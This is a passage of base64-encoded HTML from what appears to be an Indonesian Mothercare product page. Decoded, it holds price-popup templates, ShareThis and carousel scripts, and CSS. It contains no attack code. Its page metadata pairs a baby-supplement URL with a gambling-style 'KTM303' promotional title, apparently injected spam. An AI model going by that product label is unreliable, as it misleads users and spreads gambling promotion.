JlbCI%2BSGFyZ2E8L3NwYW4%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHNwYW4gY2xhc3M9Im9sZC1wcmljZSBtYXAtb2xkLXByaWNlIiBpZD0ibWFwLXBvcHVwLW1zcnAiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8c3BhbiBjbGFzcz0icHJpY2UiPjwvc3Bhbj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3NwYW4%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9Im1hcC1wcmljZSIgaWQ9Im1hcC1wb3B1cC1wcmljZS1ib3giPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxzcGFuIGNsYXNzPSJsYWJlbCI%2BaGFyZ2EgYXNsaSA8L3NwYW4%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHNwYW4gaWQ9Im1hcC1wb3B1cC1wcmljZSIgY2xhc3M9ImFjdHVhbC1wcmljZSI%2BPC9zcGFuPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8Zm9ybSBhY3Rpb249IiIgbWV0aG9kPSJQT1NUIiBjbGFzcz0ibWFwLWZvcm0tYWRkdG9jYXJ0Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InByb2R1Y3QiIGNsYXNzPSJwcm9kdWN0X2lkIiB2YWx1ZT0iIiAvPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGJ1dHRvbiB0eXBlPSJidXR0b24iCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHRpdGxlPSIrIGtlcmFuamFuZyIKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgY2xhc3M9ImFjdGlvbiB0b2NhcnQgcHJpbWFyeSI%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHNwYW4%2BKyBrZXJhbmphbmc8L3NwYW4%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2J1dHRvbj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImFkZGl0aW9uYWwtYWRkdG9jYXJ0LWJveCI%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9mb3JtPgogICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9Im1hcC10ZXh0IiBpZD0ibWFwLXBvcHVwLXRleHQiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICBPdXIgcHJpY2UgaXMgbG93ZXIgdGhhbiB0aGUgbWFudWZhY3R1cmVyJiMwMzk7cyAmcXVvdDttaW5pbXVtIGFkdmVydGlzZWQgcHJpY2UuJnF1b3Q7IEFzIGEgcmVzdWx0LCB3ZSBjYW5ub3Qgc2hvdyB5b3UgdGhlIHByaWNlIGluIGNhdGFsb2cgb3IgdGhlIHByb2R1Y3QgcGFnZS4gPGJyPjxicj4gWW91IGhhdmUgbm8gb2JsaWdhdGlvbiB0byBwdXJjaGFzZSB0aGUgcHJvZHVjdCBvbmNlIHlvdSBrbm93IHRoZSBwcmljZS4gWW91IGNhbiBzaW1wbHkgcmVtb3ZlIHRoZSBpdGVtIGZyb20geW91ciBjYXJ0LiAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgICAgPC9kaXY%2BCiAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICA8L3NjcmlwdD4KICAgICAgICAgICAgICAgPHNjcmlwdCBkYXRhLXJvbGU9Im1zcnAtaW5mby10ZW1wbGF0ZSIgdHlwZT0idGV4dC94LW1hZ2VudG8tdGVtcGxhdGUiPgogICAgICAgICAgICAgICAgICA8ZGl2IGlkPSJtYXAtcG9wdXAtd2hhdC10aGlzIiBjbGFzcz0ibWFwLXBvcHVwIj4KICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9InBvcHVwLWhlYWRlciI%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgPHN0cm9uZyBjbGFzcz0idGl0bGUiIGlkPSJtYXAtcG9wdXAtaGVhZGluZy13aGF0LXRoaXMiPjwvc3Ryb25nPgogICAgICAgICAgICAgICAgICAgICAgPC9kaXY%2BCiAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJwb3B1cC1jb250ZW50Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJtYXAtaGVscC10ZXh0IiBpZD0ibWFwLXBvcHVwLXRleHQtd2hhdC10aGlzIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgT3VyIHByaWNlIGlzIGxvd2VyIHRoYW4gdGhlIG1hbnVmYWN0dXJlciYjMDM5O3MgJnF1b3Q7bWluaW11bSBhZHZlcnRpc2VkIHByaWNlLiZxdW90OyBBcyBhIHJlc3VsdCwgd2UgY2Fubm90IHNob3cgeW91IHRoZSBwcmljZSBpbiBjYXRhbG9nIG9yIHRoZSBwcm9kdWN0IHBhZ2UuIDxicj48YnI%2BIFlvdSBoYXZlIG5vIG9ibGlnYXRpb24gdG8gcHVyY2hhc2UgdGhlIHByb2R1Y3Qgb25jZSB5b3Uga25vdyB0aGUgcHJpY2UuIFlvdSBjYW4gc2ltcGx5IHJlbW92ZSB0aGUgaXRlbSBmcm9tIHlvdXIgY2FydC4gICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgPC9zY3JpcHQ%2BCiAgICAgICAgICAgICAgIDwhLS1zdXBwcmVzcyBFUzZDb252ZXJ0VmFyVG9MZXRDb25zdCAtLT4KICAgICAgICAgICAgICAgPHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiIGlkPSJrbGV2dV9wYWdlX21ldGEiPgogICAgICAgICAgICAgICAgICB2YXIga2xldnVfcGFnZV9tZXRhID0geyJwbGF0Zm9ybSI6Im1hZ2VudG8yIiwicGFnZVR5cGUiOiJwZHAiLCJpdGVtTmFtZSI6IktUTTMwMzogUmFpaCBNb21lbiBLZW1lbmFuZ2FuIEJlc2FyIERlbmdhbiBQZW5nYWxhbWFuIEJlcm1haW4gTW9kZXJuIiwiaXRlbVVybCI6Imh0dHBzOlwvXC93d3cubW90aGVyY2FyZS5jby5pZFwvbm9yZGljLW5hdHVyYWxzLWJhYnktcy1kaGEtNTIxMzU1NDUtQVlPMDEuaHRtbCIsIml0ZW1JZCI6IjYwMDE5My01OTg2NjMiLCJpdGVtR3JvdXBJZCI6IjYwMDE5MyJ9OwogICAgICAgICAgICAgICA8L3NjcmlwdD4KICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0ic2hhcmluZy1idXR0b25zIG1vYmlsZS1zaGFyaW5nLWJ1dHRvbiI%2BCiAgICAgICAgICAgICAgICAgIDxsYWJlbD5TaGFyZSBwcm9kdWN0OjwvbGFiZWw%2BCiAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9InNoYXJldGhpcy1pbmxpbmUtc2hhcmUtYnV0dG9ucyI%2BPC9kaXY%2BCiAgICAgICAgICAgICAgICAgIDwhLS08c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCIgc3JjPSIvL3BsYXRmb3JtLWFwaS5zaGFyZXRoaXMuY29tL2pzL3NoYXJldGhpcy5qcyNwcm9wZXJ0eT01OGFmZGVlMGVlYWI1ZDAwMTI1ZThmZDYmcHJvZHVjdD1pbmxpbmUtc2hhcmUtYnV0dG9ucyI%2BPC9zY3JpcHQ%2BLS0%2BCiAgICAgICAgICAgICAgICAgIDwhLS08c2NyaXB0IHR5cGU9J3RleHQvamF2YXNjcmlwdCcgc3JjPScvL3BsYXRmb3JtLWFwaS5zaGFyZXRoaXMuY29tL2pzL3NoYXJldGhpcy5qcyNwcm9wZXJ0eT01YmFmMDNhOTc1MmVmNzAwMTFlZmNlYTAmcHJvZHVjdD1pbmxpbmUtc2hhcmUtYnV0dG9ucycgYXN5bmM9J2FzeW5jJz48L3NjcmlwdD4tLT4KICAgICAgICAgICAgICAgICAgPHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiIHNyYz0iLy9wbGF0Zm9ybS1hcGkuc2hhcmV0aGlzLmNvbS9qcy9zaGFyZXRoaXMuanMjcHJvcGVydHk9NWJhZjAzYTk3NTJlZjcwMDExZWZjZWEwJmFtcDtwcm9kdWN0PWlubGluZS1zaGFyZS1idXR0b25zIj48L3NjcmlwdD4KICAgICAgICAgICAgICAgPC9kaXY%2BCiAgICAgICAgICAgICAgIDwhLS0gPHN0eWxlIHR5cGU9InRleHQvY3NzIj4KICAgICAgICAgICAgICAgICAgLmNhdGFsb2ctcHJvZHVjdC12aWV3IC5wYWdlLW1haW4gLnNoYXJpbmctYnV0dG9ucy5tb2JpbGUtc2hhcmluZy1idXR0b257CiAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgZGlzcGxheTogbm9uZTsKICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgQG1lZGlhIChtYXgtd2lkdGg6IDc2OHB4KSB7CiAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgLmNhdGFsb2ctcHJvZHVjdC12aWV3IC5wcm9kdWN0LmluZm8uZGV0YWlsZWQgLmRhdGEuaXRlbS50aXRsZSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgb3JkZXI6IHVuc2V0OwogICAgICAgICAgICAgICAgICAgICAgfSAKICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgLmNhdGFsb2ctcHJvZHVjdC12aWV3IC5wYWdlLW1haW4gIC5zaGFyaW5nLWJ1dHRvbnN7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGRpc3BsYXk6IG5vbmU7CiAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAuY2F0YWxvZy1wcm9kdWN0LXZpZXcgLnBhZ2UtbWFpbiAuc2hhcmluZy1idXR0b25zLm1vYmlsZS1zaGFyaW5nLWJ1dHRvbnsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGRpc3BsYXk6IGJsb2NrOwogICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgLmNhdGFsb2ctcHJvZHVjdC12aWV3IC5wYWdlLW1haW4gLnNoYXJpbmctYnV0dG9ucy5tb2JpbGUtc2hhcmluZy1idXR0b24gbGFiZWx7CiAgICAgICAgICAgICAgICAgICAgICAgICAgZm9udC1mYW1pbHk6ICdtb3RoZXJjYXJlXzIwMjAtcmVndWxhci13ZWJmb250JzsKICAgICAgICAgICAgICAgICAgICAgICAgICBmb250LXN0eWxlOiBub3JtYWw7CiAgICAgICAgICAgICAgICAgICAgICAgICAgZm9udC13ZWlnaHQ6IDQwMDsKICAgICAgICAgICAgICAgICAgICAgICAgICBmb250LXNpemU6IDE2cHg7CiAgICAgICAgICAgICAgICAgICAgICAgICAgbGluZS1oZWlnaHQ6IDE1MCU7CiAgICAgICAgICAgICAgICAgICAgICAgICAgbGV0dGVyLXNwYWNpbmc6IC0wLjAxMWVtOwogICAgICAgICAgICAgICAgICAgICAgICAgIHRleHQtdHJhbnNmb3JtOiBsb3dlcmNhc2U7CiAgICAgICAgICAgICAgICAgICAgICAgICAgY29sb3I6ICMxNjVDN0Q7CiAgICAgICAgICAgICAgICAgICAgICAgICAgZGlzcGxheTogYmxvY2s7CiAgICAgICAgICAgICAgICAgICAgICAgICAgdGV4dC1hbGlnbjogY2VudGVyOwogICAgICAgICAgICAgICAgICAgICAgICAgIHBhZGRpbmc6IDEwcHggMHB4OwogICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgLmNhdGFsb2ctcHJvZHVjdC12aWV3IC5wYWdlLW1haW4gLnNoYXJpbmctYnV0dG9ucy5tb2JpbGUtc2hhcmluZy1idXR0b24gLnN0LWJ0bi5zdC1maXJzdCwKICAgICAgICAgICAgICAgICAgICAgIC5jYXRhbG9nLXByb2R1Y3QtdmlldyAucGFnZS1tYWluIC5zaGFyaW5nLWJ1dHRvbnMubW9iaWxlLXNoYXJpbmctYnV0dG9uIC5zdC1idG4uc3QtbGFzdCB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgIGJhY2tncm91bmQ6ICMxNjVDN0QgIWltcG9ydGFudDsKICAgICAgICAgICAgICAgICAgICAgIH0gICAgIAogICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAuY2F0YWxvZy1wcm9kdWN0LXZpZXcgLnBhZ2UtbWFpbiAucHJvZHVjdC1pbmZvLW1haW4gLnByb2R1Y3QtaW5mb3sKICAgICAgICAgICAgICAgICAgICAgICAgICBkaXNwbGF5OiBjb250ZW50cyAhaW1wb3J0YW50OwogICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgLmNhdGFsb2ctcHJvZHVjdC12aWV3IC5wYWdlLW1haW4gLnByb2R1Y3QtaW5mby1tYWluIC5wcm9kdWN0LmF0dHJpYnV0ZS5vdmVydmlld3sKICAgICAgICAgICAgICAgICAgICAgICAgICBvcmRlcjogMSAhaW1wb3J0YW50OwogICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgLmNhdGFsb2ctcHJvZHVjdC12aWV3IC5wYWdlLW1haW4gLnByb2R1Y3QtaW5mby1tYWluIC5wcm9kdWN0LWNvbmZpZ3sKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZGlzcGxheTogY29udGVudHMgIWltcG9ydGFudDsKICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAuY2F0YWxvZy1wcm9kdWN0LXZpZXcgLnBhZ2UtbWFpbiAgLnNoYXJpbmctYnV0dG9uc3sKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgb3JkZXI6IDE7CiAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgIDwvc3R5bGU%2BCiAgICAgICAgICAgICAgICAgIC0tPgogICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJwcm9kdWN0cy13aWRnZXQtY29udGFpbmVyIj4KICAgICAgICAgICAgICAgICAgPCEtLSA8c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCI%2BCiAgICAgICAgICAgICAgICAgICAgIHJlcXVpcmUoWydqcXVlcnknLCAnanF1ZXJ5L3VpJywgJ3NsaWNrJ10sIGZ1bmN0aW9uKCQpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICQoZG9jdW1lbnQpLnJlYWR5KGZ1bmN0aW9uKCkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkKCdib2R5JykuaGFzQ2xhc3MoJ2NoZWNrb3V0LWNhcnQtaW5kZXgnKSkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkKCIud2lkZ2V0LndpZGdldC1jcm9zc3NlbGwgLnByb2R1Y3QtaXRlbXMiKS5zbGljayh7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBkb3RzOiBmYWxzZSwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGFycm93czogdHJ1ZSwgLy8gU2hvdyBhcnJvd3MgZm9yIGxhcmdlciBzY3JlZW5zCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpbmZpbml0ZTogZmFsc2UsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBzbGlkZXNUb1Nob3c6IDQsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBzbGlkZXNUb1Njcm9sbDogMSwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHJlc3BvbnNpdmU6IFsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGJyZWFrcG9pbnQ6IDEwMjQsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHNldHRpbmdzOiB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBzbGlkZXNUb1Nob3c6IDMsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBzbGlkZXNUb1Njcm9sbDogMSwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0sCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBicmVha3BvaW50OiA2MDAsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHNldHRpbmdzOiB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBzbGlkZXNUb1Nob3c6IDMsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBzbGlkZXNUb1Njcm9sbDogMQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfSwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGJyZWFrcG9pbnQ6IDQ4MCwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgc2V0dGluZ3M6IHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHNsaWRlc1RvU2hvdzogMi41LAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgc2xpZGVzVG9TY3JvbGw6IDEsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhcnJvd3M6IGZhbHNlCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9LAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWtwb2ludDogNDMwLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBzZXR0aW5nczogewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgc2xpZGVzVG9TaG93OiAyLjUsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBzbGlkZXNUb1Njcm9sbDogMSwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGFycm93czogZmFsc2UKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0sCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBicmVha3BvaW50OiAzOTAsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHNldHRpbmdzOiB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBzbGlkZXNUb1Nob3c6IDIuNSwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHNsaWRlc1RvU2Nyb2xsOiAxLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYXJyb3dzOiBmYWxzZSAvLyBIaWRlIGFycm93cyBmb3IgbW9iaWxlIHNpemVzCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9LAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWtwb2ludDogMzc1LAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBzZXR0aW5nczogewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgc2xpZGVzVG9TaG93OiAyLjUsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBzbGlkZXNUb1Njcm9sbDogMSwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGFycm93czogZmFsc2UgLy8gSGlkZSBhcnJvd3MgZm9yIG1vYmlsZSBzaXplcwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9KTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgICB9KTsKICAgICAgICAgICAgICAgICAgICAgfSk7CiAgICAgICAgICAgICAgICAgICAgIDwvc2NyaXB0PiAtLT4KICAgICAgICAgICAgICAgICAgPHN0eWxlIHR5cGU9InRleHQvY3NzIj4KICAgICAgICAgICAgICAgICAgICAgLndpZGdldC53aWRnZXQtdXBzZWxsLC53aWRnZXQud2lkZ2V0LXJlbGF0ZWQgewogICAgICAgICAgICAgICAgICAgICBwYWRkaW5nLWJvdHRvbTogNDBweDsKICAgICAgICAgICAgICAgICAgICAgcGFkZGluZy10b3A6IDQwcHg7CiAgICAgICAgICAgICAgICAgICAgIG1hcmdpbi10b3A6IDAgIWltcG9ydGFudAogICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgIC53aWRnZXQud2lkZ2V0LXVwc2VsbCAuYmxvY2stdGl0bGUsLndpZGdldC53aWRnZXQtcmVsYXRlZCAuYmxvY2stdGl0bGUgewogICAgICAgICAgICAgICAgICAgICBtYXJnaW46IDAgIWltcG9ydGFudDsKICAgICAgICAgICAgICAgICAgICAgcGFkZGluZzogMCAwIDQwcHggIWltcG9ydGFudAogICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgIC53aWRnZXQud2lkZ2V0LXVwc2VsbCAuYmxvY2stdGl0bGU6YmVmb3JlLC53aWRnZXQud2lkZ2V0LXJlbGF0ZWQgLmJsb2NrLXRpdGxlOmJlZm9yZSB7CiAgICAgICAgICAgICAgICAgICAgIGRpc3BsYXk6IG5vbmUgIWltcG9ydGFudAogICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgIC53aWRnZXQud2lkZ2V0LXVwc2VsbCAuYmxvY2stdGl0bGUgc3Ryb25nLC53aWRnZXQud2lkZ2V0LXJlbGF0ZWQgLmJsb2NrLXRpdGxlIHN0cm9uZyB7CiAgICAgICAgICAgICAgICAgICAgIGRpc3BsYXk6IGJsb2NrOwogICAgICAgICAgICAgICAgICAgICBmb250LWZhbWlseTogJ21vdGhlcmNhcmVfMjAyMC1yZWd1bGFyLXdlYmZvbnQnOwogICAgICAgICAgICAgICAgICAgICBmb250LXN0eWxlOiBub3JtYWw7CiAgICAgICAgICAgICAgICAgICAgIGZvbnQtd2VpZ2h0OiA0MDA7CiAgICAgICAgICAgICAgICAgICAgIGZvbnQtc2l6ZTogMzJweDsKICAgICAgICAgICAgICAgICAgICAgY29sb3I6ICM1MTU3NTk7CiAgICAgICAgICAgICAgICAgICAgIG1hcmdpbjogMCAhaW1wb3J0YW50OwogICAgICAgICAgICAgICAgICAgICB0ZXh0LWFsaWduOiBjZW50ZXI7CiAgICAgICAgICAgICAgICAgICAgIHRleHQtdHJhbnNmb3JtOiBsb3dlcmNhc2UKICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICBAbWVkaWEgc2NyZWVuIGFuZCAobWF4LXdpZHRoOiA3NjdweCkgewogICAgICAgICAgICAgICAgICAgICAud2lkZ2V0LndpZGdldC11cHNlbGwgLmJsb2NrLXRpdGxlIHN0cm9uZywud2lkZ2V0LndpZGdldC1yZWxhdGVkIC5ibG9jay10aXRsZSBzdHJvbmcgewogICAgICAgICAgICAgICAgICAgICBmb250LXNpemU6MThweAogICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgLndpZGdldC53aWRnZXQtdXBzZWxsIC51cHNlbGwucHJvZHVjdHMtZ3JpZCwud2lkZ2V0LndpZGdldC1yZWxhdGVkIC51cHNlbGwucHJvZHVjdHMtZ3JpZCwud2lkZ2V0LndpZGdldC11cHNlbGwgLnJlbGF0ZWQucHJvZHVjdHMtZ3JpZCwud2lkZ2V0LndpZGdldC1yZWxhdGVkIC5yZWxhdGVkLnByb2R1Y3RzLWdyaWQgewogICAgICAgICAgICAgICAgICAgICBvdmVyZmxvdzogaW5oZXJpdDsKICAgICAgICAgICAgICAgICAgICAgcGFkZGluZy1sZWZ0OiA1MHB4OwogICAgICAgICAgICAgICAgICAgICBwYWRkaW5nLXJpZ2h0OiA1MHB4CiAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgQG1lZGlhIHNjcmVlbiBhbmQgKG1heC13aWR0aDogNzY3cHgpIHsKICAgICAgICAgICAgICAgICAgICAgLndpZGdldC53aWRnZXQtdXBzZWxsIC51cHNlbGwucHJvZHVjdHMtZ3JpZCwud2lkZ2V0LndpZGdldC1yZWxhdGVkIC51cHNlbGwucHJvZHVjdHMtZ3JpZCwud2lkZ2V0LndpZGdldC11cHNlbGwgLnJlbGF0ZWQucHJvZHVjdHMtZ3JpZCwud2lkZ2V0LndpZGdldC1yZWxhdGVkIC5yZWxhdGVkLnByb2R1Y3RzLWdyaWQgewogICAgICAgICAgICAgICAgICAgICBwYWRkaW5nOjAKICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgIC53aWRnZXQud2lkZ2V0LXVwc2VsbCAudXBzZWxsLnByb2R1Y3RzLWdyaWQuc2xpY2staW5pdGlhbGl6ZWQ%2BLnByb2R1Y3QtaXRlbXMsLndpZGdldC53aWRnZXQtcmVsYXRlZCAudXBzZWxsLnByb2R1Y3RzLWdyaWQuc2xpY2staW5pdGlhbGl6ZWQ%2BLnByb2R1Y3QtaXRlbXMsLndpZGdldC53aWRnZXQtdXBzZWxsIC5yZWxhdGVkLnByb2R1Y3RzLWdyaWQuc2xpY2staW5pdGlhbGl6ZWQ%2BLnByb2R1Y3QtaXRlbXMsLndpZGdldC53aWRnZXQtcmVsYXRlZCAucmVsYXRlZC5wcm9kdWN0cy1ncmlkLnNsaWNrLWluaXRpYWxpemVkPi5wcm9kdWN0LWl0ZW1zIHsKICAgICAgICAgICAgICAgICAgICAgZ2FwOiAwOwogICAgICAgICAgICAgICAgICAgICBwYWRkaW5nOiAwOwogICAgICAgICAgICAgICAgICAgICBtYXJnaW46IDAgLTI1cHg7CiAgICAgICAgICAgICAgICAgICAgIHdpZHRoOiBhdXRvCiAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgQG1lZGlhIHNjcmVlbiBhbmQgKG1heC13aWR0aDogNzY3cHgpIHsKICAgICAgICAgICAgICAgICAgICAgLndpZGdldC53aWRnZXQtdXBzZWxsIC51cHNlbGwucHJvZHVjdHMtZ3JpZC5zbGljay1pbml0aWFsaXplZD4ucHJvZHVjdC1pdGVtcywud2lkZ2V0LndpZGdldC1yZWxhdGVkIC51cHNlbGwucHJvZHVjdHMtZ3JpZC5zbGljay1pbml0aWFsaXplZD4ucHJvZHVjdC1pdGVtcywud2lkZ2V0LndpZGdldC11cHNlbGwgLnJlbGF0ZWQucHJvZHVjdHMtZ3JpZC5zbGljay1pbml0aWFsaXplZD4ucHJvZHVjdC1pdGVtcywud2lkZ2V0LndpZGdldC1yZWxhdGVkIC5yZWxhdGVkLnByb2R1Y3RzLWdyaWQuc2xpY2staW5pd